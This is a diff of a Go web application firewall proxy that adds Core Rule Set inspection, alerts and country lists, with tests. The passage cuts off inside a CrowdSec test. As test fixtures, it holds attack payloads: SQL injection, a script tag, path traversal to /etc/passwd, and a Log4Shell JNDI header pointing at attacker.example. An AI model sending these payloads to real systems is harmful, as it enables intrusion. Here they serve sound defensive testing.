+func (rq *request) checkCoreRuleSet() string {
+	cfg := rq.h.config
+	if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
+		return ""
+	}
+
+	start := time.Now()
+
+	// A question's body has been read into memory, so that reading it here
+	// cannot fail.
+	result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
+	rq.requestBytes = int64(len(read))
+
+	rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
+	rq.line.WAFRuleIDs = result.RuleIDs
+	rq.line.WAFScore = &result.Score
+
+	for _, id := range result.RuleIDs {
+		rq.h.metrics.WAFMatched(cfg.WAFMode, id)
+	}
+
+	threshold := cfg.WAFAnomalyThreshold
+	if threshold == 0 || result.Score < threshold {
+		return ""
+	}
+
+	rq.alertWAFBlock(result)
+
+	if cfg.WAFMode == config.WAFModeDetect {
+		return ""
+	}
+
+	rq.wafBlocked = true
+
+	return requestlog.ActionWAFBlocked
+}
+
+// alertWAFBlock raises the waf_block alert for the request, which the Core
+// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
+// detail gives the rule ids, the score, the method and the path with the
+// query, and, for a request that is not refused for it, the mode: detect,
+// or observe in observe mode.
+func (rq *request) alertWAFBlock(result waf.Result) {
+	detail := map[string]any{
+		"rule_ids": result.RuleIDs,
+		"score":    result.Score,
+		"method":   rq.in.Method,
+		"path":     rq.in.URL.RequestURI(),
+	}
+
+	switch {
+	case rq.h.config.WAFMode == config.WAFModeDetect:
+		detail["mode"] = config.WAFModeDetect
+	case rq.h.config.Observe:
+		detail["mode"] = "observe"
+	}
+
+	rq.h.alerts.Raise(alerts.Alert{
+		Event:    alerts.EventWAFBlock,
+		Host:     rq.site,
+		Client:   rq.client,
+		Netblock: rq.h.clientGroup(rq.client),
+		ASN:      rq.line.ASN,
+		ASName:   rq.line.ASName,
+		Country:  rq.line.Country,
+		Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+		Detail:   detail,
+	})
+}

internal/servewaf/coreruleset_test.go

@@ -0,0 +1,480 @@
+package servewaf_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
+// its two modes that inspect requests.
+const (
+	wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
+	wafDisabledRules    = "SWWAF_WAF_DISABLED_RULES"
+	wafExemptPaths      = "SWWAF_WAF_EXEMPT_PATHS"
+	wafBodyLimit        = "SWWAF_WAF_BODY_LIMIT"
+	block               = "block"
+	detect              = "detect"
+)
+
+// formData is the type of a form's body.
+const formData = "application/x-www-form-urlencoded"
+
+// sizeLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
+// setting.
+const (
+	sizeLimit        = 1 << 10
+	sizeLimitSetting = "1K"
+)
+
+// sqlInjection asks for / with an SQL injection in its query, which only
+// the Core Rule Set's rule 942100 matches, with a score of 5, the default
+// SWWAF_WAF_ANOMALY_THRESHOLD.
+const sqlInjection = "/?id=1'%20OR%20'1'='1"
+
+// wantWAF checks the request log line's waf_rule_ids and waf_score, and
+// that it has duration_waf, or with no score, that it has none of the
+// three: the Core Rule Set did not inspect the request.
+func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
+	t.Helper()
+
+	if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
+		t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
+	}
+
+	switch {
+	case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
+		t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
+			line.fields["waf_score"], line.fields["duration_waf"])
+	case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
+		t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
+	case score != nil && line.DurationWAF == nil:
+		t.Error("log line has no duration_waf")
+	}
+}
+
+func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []struct {
+		name, path, header string
+		ruleIDs            []int
+		score              int
+	}{
+		{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
+		{
+			"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
+			[]int{941100, 941110, 941160, 941390}, 20,
+		},
+		{
+			"path traversal in the path", "/files/../../etc/passwd", "",
+			[]int{930100, 930110}, 10,
+		},
+		{
+			"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
+			[]int{944150}, 5,
+		},
+		{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
+		{
+			// Coraza keeps the first 1000 query parameters.
+			"SQL injection after 1000 query parameters",
+			"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
+			[]int{900300}, 5,
+		},
+	} {
+		t.Run(attack.name, func(t *testing.T) {
+			t.Parallel()
+
+			for _, tc := range []struct {
+				mode, action string
+				status       int
+			}{
+				{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
+				{detect, requestlog.ActionForward, http.StatusOK},
+			} {
+				s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
+
+				line := s.requestWithHeader(client, attack.path, attack.header,
+					tc.status, tc.action)
+				wantWAF(t, line, &attack.score, attack.ruleIDs...)
+			}
+		})
+	}
+}
+
+func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
+	t.Parallel()
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+
+	line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+}
+
+func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode:        block,
+		wafExemptPaths: "/api/",
+		allowNets:      allowed,
+		rulesDir:       writeRules(t, testRules),
+	})
+
+	// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
+	// exempts, are not inspected.
+	line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+	line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
+		requestlog.ActionForward)
+	wantWAF(t, line, nil)
+
+	// The prefix is matched as rate limit exempt paths are: a path that
+	// goes up and out of it is inspected.
+	line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(25), 930100, 930110, 942100)
+
+	// A request a rule file refuses is not inspected.
+	line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
+		requestlog.ActionRuleBlocked)
+	wantWAF(t, line, nil)
+
+	// With SWWAF_WAF_MODE off, no request is.
+	s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
+	line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, nil)
+}
+
+func TestAnomalyThreshold(t *testing.T) {
+	t.Parallel()
+
+	// A score under the threshold, or with the threshold off, is logged,
+	// and refuses nothing.
+	for _, threshold := range []string{"6", off} {
+		s, _, _ := startWithClock(t, "", map[string]string{
+			wafMode: block, wafAnomalyThreshold: threshold,
+		})
+
+		line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+		wantWAF(t, line, new(5), 942100)
+	}
+
+	s, _, _ := startWithClock(t, "", map[string]string{
+		wafMode: block, wafAnomalyThreshold: "5",
+	})
+	s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+}
+
+func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
+	t.Parallel()
+
+	for _, request := range []struct {
+		name, method, path, header string
+		// ruleIDs are the rules that match the request with none
+		// switched off.
+		ruleIDs []int
+	}{
+		{
+			"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
+			"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
+			[]int{920420, 930130},
+		},
+		{
+			"package upload without a type", http.MethodPut,
+			"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
+			[]int{920340},
+		},
+		{
+			"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
+			[]int{920440},
+		},
+		{
+			"an editor's settings", http.MethodGet,
+			"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
+		},
+	} {
+		t.Run(request.name, func(t *testing.T) {
+			t.Parallel()
+
+			body := ""
+			if request.method != http.MethodGet {
+				body = "push"
+			}
+
+			// By default, the rules are switched off.
+			s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+			line, _ := s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+
+			// A list given replaces the default.
+			s, _, _ = startWithClock(t, "", map[string]string{
+				wafMode: block, wafDisabledRules: "942100",
+			})
+			score := 5 * len(request.ruleIDs)
+			line, _ = s.requestWithBody(request.method, client, request.path,
+				request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
+			wantWAF(t, line, &score, request.ruleIDs...)
+
+			// And switches off the rules it lists.
+			line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+			wantWAF(t, line, new(0))
+		})
+	}
+}
+
+func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	const body = "id=1'%20OR%20'1'='1"
+
+	header := "Content-Type: " + formData + "\r\nContent-Length: " +
+		strconv.Itoa(len(body))
+
+	s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
+	line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusOK, requestlog.ActionForward)
+	wantWAF(t, line, new(0))
+
+	s, _, _ = startWithClock(t, "", map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
+		http.StatusForbidden, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+}
+
+func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
+	t.Parallel()
+
+	// The app answers with the body it was sent, once it has the whole of
+	// it: Go's server reads no more of a body once the answer has begun.
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		body, _ := io.ReadAll(r.Body)
+		_, _ = w.Write(body)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		wafMode: block, wafBodyLimit: sizeLimitSetting,
+	})
+	longer := "a=" + strings.Repeat("b", 64*sizeLimit)
+
+	for i, tc := range []struct {
+		name, contentType, body string
+		// announced sends the body's length in Content-Length; otherwise
+		// the body is sent in chunks with no length given.
+		announced bool
+	}{
+		{"form data within the limit", formData, "a=b", true},
+		{"form data longer than the limit", formData, longer, true},
+		{"form data longer than the limit, not announced", formData, longer, false},
+		{
+			"JSON larger than the limit", "application/json",
+			`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
+		},
+		{
+			"a binary body", "application/octet-stream",
+			strings.Repeat("\x00\xff", sizeLimit), true,
+		},
+	} {
+		// A reader whose length the client cannot tell is sent in chunks.
+		var body io.Reader = strings.NewReader(tc.body)
+		if !tc.announced {
+			body = io.MultiReader(body)
+		}
+
+		req := newRequest(t, http.MethodPost, addr, "/", body)
+		req.Header.Set("Content-Type", tc.contentType)
+
+		got := do(t, req)
+		if got.status != http.StatusOK || string(got.body) != tc.body {
+			t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
+				tc.name, len(got.body), got.status, len(tc.body))
+		}
+
+		line := out.endedLines(t, i+1)[i]
+		wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+		if line.RequestBytes != int64(len(tc.body)) {
+			t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
+				line.RequestBytes, len(tc.body))
+		}
+	}
+}
+
+func TestResponsesAreNotInspected(t *testing.T) {
+	t.Parallel()
+
+	// A raw shell script, and an SQL error, which the Core Rule Set's rules
+	// for responses take for a leak.
+	const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
+		"You have an error in your SQL syntax; check the manual that " +
+		"corresponds to your MySQL server version\n"
+
+	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
+		_, _ = w.Write([]byte(page))
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
+
+	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
+	if got.status != http.StatusOK || string(got.body) != page {
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+	}
+
+	wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 2 {
+		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+	}
+
+	// The third refusal in a minute breaks the error burst, and bans the
+	// client.
+	line := s.request(client, sqlInjection, http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	if line.LimitHit != requestlog.LimitHitErrorBurst ||
+		line.Offence != requestlog.OffenceLimit {
+		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
+			line.LimitHit, line.Offence)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
+		`instance="app",status_class="4xx"}`, 3)
+}
+
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 3 {
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	offences := historyOf(t, server, client).Offences
+	if offences != (ratelimit.Offences{}) {
+		t.Errorf("history counts the offences %+v, want none", offences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
+}
+
+func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+
+	// It is an offence as in enforce mode.
+	want := ratelimit.Offences{WAFBlocked: 1}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+}
+
+func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// status and action are what the request is answered and logged
+		// with, and alertMode what the alert's detail gives as mode, if
+		// anything.
+		status            int
+		action, alertMode string
+	}{
+		{
+			"block", map[string]string{wafMode: block},
+			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
+		},
+		{
+			"detect", map[string]string{wafMode: detect},
+			http.StatusOK, requestlog.ActionForward, detect,
+		},
+		{
+			"block in observe mode", map[string]string{wafMode: block, mode: observe},
+			http.StatusOK, requestlog.ActionForward, observe,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk, _, queue := startWithAlerts(t, tc.env)
+
+			// The second is a repeat, which the cooldown holds back, and an
+			// ordinary request raises none.
+			for range 2 {
+				s.request(client, sqlInjection, tc.status, tc.action)
+			}
+
+			s.get(client, http.StatusOK, requestlog.ActionForward)
+
+			detail := map[string]any{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"path": sqlInjection,
+			}
+			if tc.alertMode != "" {
+				detail["mode"] = tc.alertMode
+			}
+
+			wantAlerts(t, queue, alerts.Alert{
+				Instance: alertInstance,
+				Time:     clk.Now(),
+				Event:    alerts.EventWAFBlock,
+				Host:     appHost,
+				Client:   netip.MustParseAddr(client),
+				Netblock: netip.MustParsePrefix(client + "/32"),
+				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+				Detail:   detail,
+			})
+
+			if queue.Suppressed() != 1 {
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			}
+		})
+	}
+}

internal/servewaf/countries.go

@@ -0,0 +1,21 @@
+package servewaf
+
+import (
+	"slices"
+)
+
+// countryDenied reports whether the country lists refuse the request, by
+// the client's country as it was looked up. A client without a country,
+// or whose country cannot be found, is refused only by
+// SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
+func (rq *request) countryDenied() bool {
+	denied := rq.h.config.DeniedCountries
+	allowed := rq.h.config.ExclusivelyAllowedCountries
+	country := rq.line.Country
+
+	if slices.Contains(denied, country) {
+		return true
+	}
+
+	return len(allowed) > 0 && !slices.Contains(allowed, country)
+}

internal/servewaf/countries_test.go

@@ -1,4 +1,4 @@
-package proxy_test
+package servewaf_test
 
 import (
 	"encoding/json"
@@ -52,20 +52,25 @@ func TestCountryLists(t *testing.T) {
 				calls.Add(1)
 			})
 			geojsURL, _ := startGeoJS(t)
-			env := map[string]string{trustedProxies: trustLocalhost}
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
 
-			for i, sent := range []struct{ client, country string }{
-				{fromDE, "DE"}, {fromKP, "KP"}, {unplaced, ""},
+			// The AS number GeoJS gives unplaced, 64512, counts as unknown.
+			for i, sent := range []struct{ client, asn, asName, country string }{
+				{fromDE, asnDE, asNameDE, "DE"}, {fromKP, asnKP, asNameKP, "KP"},
+				{unplaced, "", "", ""},
 			} {
 				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 				req.Header.Set(forwardedFor, sent.client)
 				got := do(t, req)
 
-				line := out.requestLines(t, i+1)[i]
-				if line.Country != sent.country {
-					t.Errorf("log line has country %q, want %q", line.Country, sent.country)
+				line := out.endedLines(t, i+1)[i]
+				if line.ASN != sent.asn || line.ASName != sent.asName ||
+					line.Country != sent.country {
+					t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
+						line.ASN, line.ASName, line.Country,
+						sent.asn, sent.asName, sent.country)
 				}
 
 				if slices.Contains(tc.refused, sent.client) {
@@ -85,7 +90,7 @@ func TestCountryLists(t *testing.T) {
 	}
 }
 
-func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
+func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
 	t.Parallel()
 
 	var calls atomic.Int32
@@ -96,6 +101,7 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
 	geojsURL, _ := startGeoJS(t)
 	addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
 		trustedProxies:  trustLocalhost,
+		lookupTimeout:   "1h",
 		deniedCountries: "kp",
 	})
 
@@ -103,13 +109,9 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
 	req.Header.Set(forwardedFor, fromKP)
 	wantStatus(t, do(t, req), http.StatusForbidden)
 
-	line := out.requestLine(t)
+	line := out.endedLine(t)
 	wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
 
-	if line.RequestBytes != 0 {
-		t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes)
-	}
-
 	if calls.Load() != 0 {
 		t.Errorf("the app was called %d times, want none", calls.Load())
 	}
@@ -130,7 +132,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
 				return
 			}
 
-			answer := []map[string]string{{"ip": r.URL.Query().Get("ip"), "country": "DE"}}
+			answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
 
 			err := json.NewEncoder(w).Encode(answer)
 			if err != nil {
@@ -142,6 +144,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 	addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
 		trustedProxies:     trustLocalhost,
+		lookupTimeout:      "1h",
 		allowedCountries:   "de",
 		rateLimitPerMinute: "1",
 	})
@@ -174,31 +177,29 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
 	wantStatus(t, got, http.StatusOK)
 }
 
-func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) {
+func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
 		name string
 		env  map[string]string
-		clients []string // "" sends no X-Forwarded-For: the client is 127.0.0.1
 	}{
-		{"no country list is set", nil, []string{fromKP, fromDE}},
-		{
-			"private, loopback and link-local addresses",
-			map[string]string{deniedCountries: "kp"},
-			[]string{"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9"},
-		},
+		{"no setting needs the lookup", nil},
+		{"a country list is set", map[string]string{deniedCountries: "kp"}},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {})
 			geojsURL, asked := startGeoJS(t)
-			env := map[string]string{trustedProxies: trustLocalhost}
+			env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
 			maps.Copy(env, tc.env)
 			addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
 
-			for i, sent := range tc.clients {
+			// "" sends no X-Forwarded-For: the client is 127.0.0.1.
+			for i, sent := range []string{
+				"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9",
+			} {
 				req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 				if sent != "" {
 					req.Header.Set(forwardedFor, sent)
@@ -206,18 +207,29 @@ func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) {
 
 				wantStatus(t, do(t, req), http.StatusOK)
 
-				line := out.requestLines(t, i+1)[i]
+				line := out.endedLines(t, i+1)[i]
 				wantLine(t, line, http.StatusOK, requestlog.ActionForward)
 
-				country, present := line.fields["country"]
-				if !present || country != "" {
-					t.Errorf("log line for %q has country %v, want an empty one",
-						line.ClientIP, country)
+				for _, field := range []string{"asn", "as_name", "country"} {
+					value, present := line.fields[field]
+					if !present || value != "" {
+						t.Errorf("log line for %q has %s %v, want an empty one",
+							line.ClientIP, field, value)
+					}
 				}
 			}
 
-			if len(asked()) != 0 {
-				t.Errorf("GeoJS was asked about %v, want nothing", asked())
+			// GeoJS is asked about up to 200 waiting clients at once, so once it
+			// has been asked about fromDE, which comes last, it has been asked
+			// about every client before it that waited for an answer.
+			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+			req.Header.Set(forwardedFor, fromDE)
+			wantStatus(t, do(t, req), http.StatusOK)
+
+			waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
+
+			if got := asked(); !slices.Equal(got, []string{fromDE}) {
+				t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
 			}
 		})
 	}
@@ -264,18 +276,35 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
 	}
 }
 
-// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP
-// and no other address. It returns its URL, and what returns the
-// addresses it has been asked about.
+// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
+// each in an AS of its own, and no other address. It returns its URL, and
+// what returns the addresses it has been asked about. A test that needs
+// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
+// hour, whether or not a request waits for the answer: on the default, a
+// hold-up of the test process can abandon the request to the stand-in, and
+// leave the client unknown.
 func startGeoJS(t *testing.T) (string, func() []string) {
 	t.Helper()
 
-	places := map[string]string{fromDE: "DE", fromKP: "KP"}
+	geojsURL, asked, release := startHeldGeoJS(t)
+	release()
 
-	var asked struct {
+	return geojsURL, asked
+}
+
+// startHeldGeoJS is startGeoJS for a stand-in that answers nothing until
+// release is called. Each request to it waits until then.
+func startHeldGeoJS(t *testing.T) (string, func() []string, func()) {
+	t.Helper()
+
+	var (
+		asked struct {
 			mu    sync.Mutex
 			addrs []string
 		}
+		released = make(chan struct{})
+		once     sync.Once
+	)
 
 	geojs := httptest.NewServer(http.HandlerFunc(
 		func(w http.ResponseWriter, r *http.Request) {
@@ -285,11 +314,11 @@ func startGeoJS(t *testing.T) (string, func() []string) {
 			asked.addrs = append(asked.addrs, addrs...)
 			asked.mu.Unlock()
 
-			answers := make([]map[string]string, 0, len(addrs))
+			<-released
+
+			answers := make([]geojsAnswer, 0, len(addrs))
 			for _, addr := range addrs {
-				answers = append(answers, map[string]string{
-					"ip": addr, "country": places[addr],
-				})
+				answers = append(answers, answerAbout(addr))
 			}
 
 			err := json.NewEncoder(w).Encode(answers)
@@ -299,10 +328,48 @@ func startGeoJS(t *testing.T) (string, func() []string) {
 		}))
 	t.Cleanup(geojs.Close)
 
+	release := func() { once.Do(func() { close(released) }) }
+	// Run before geojs.Close, which waits for every request to be answered.
+	t.Cleanup(release)
+
 	return geojs.URL, func() []string {
 		asked.mu.Lock()
 		defer asked.mu.Unlock()
 
 		return slices.Clone(asked.addrs)
+	}, release
+}
+
+// The AS numbers and names the stand-in for GeoJS gives fromDE and
+// fromKP, as they are logged.
+const (
+	asnDE    = "AS64496"
+	asNameDE = "Example Net"
+	asnKP    = "AS64511"
+	asNameKP = "Other Net"
+)
+
+// geojsAnswer is an answer of GeoJS about one address, with the fields
+// smallwebwaf reads.
+//
+//nolint:tagliatelle // GeoJS's own names
+type geojsAnswer struct {
+	IP          string `json:"ip"`
+	ASN         int    `json:"asn"`
+	ASName      string `json:"organization_name"`
+	CountryCode string `json:"country_code,omitempty"`
+}
+
+// answerAbout is what the stand-in for GeoJS answers about addr: for an
+// address it cannot place, the AS number 64512 and the AS name Unknown
+// with no country, as GeoJS does.
+func answerAbout(addr string) geojsAnswer {
+	switch addr {
+	case fromDE:
+		return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
+	case fromKP:
+		return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
 	}
+
+	return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
 }

internal/servewaf/crowdsec_test.go

@@ -0,0 +1,181 @@
+package servewaf_test
+
+import (
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/servewaf"
+)
+
+// The CrowdSec settings, and the tests' engine, which is never asked: each
+// test puts in the copy of its decision list, at decisionsURL, that it
+// needs, as reputation.json would at start.
+const (
+	crowdSecURL  = "SWWAF_CROWDSEC_LAPI_URL"
+	crowdSecKey  = "SWWAF_CROWDSEC_LAPI_KEY"
+	lapi         = "http://crowdsec.example:8080"
+	decisionsURL = lapi + "/v1/decisions"
+	bouncerKey   = "crowdsec-key-0123456789abcdef"
+)
+
+func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
+	})
+	// client had four hours left on its decision as the engine answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+	expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
+
+	// Its first request is refused, and bans it until the decision ends.
+	line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	listed := []bans.ReputationHit{{Source: decisionsURL}}
+
+	held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
+	if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
+		!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
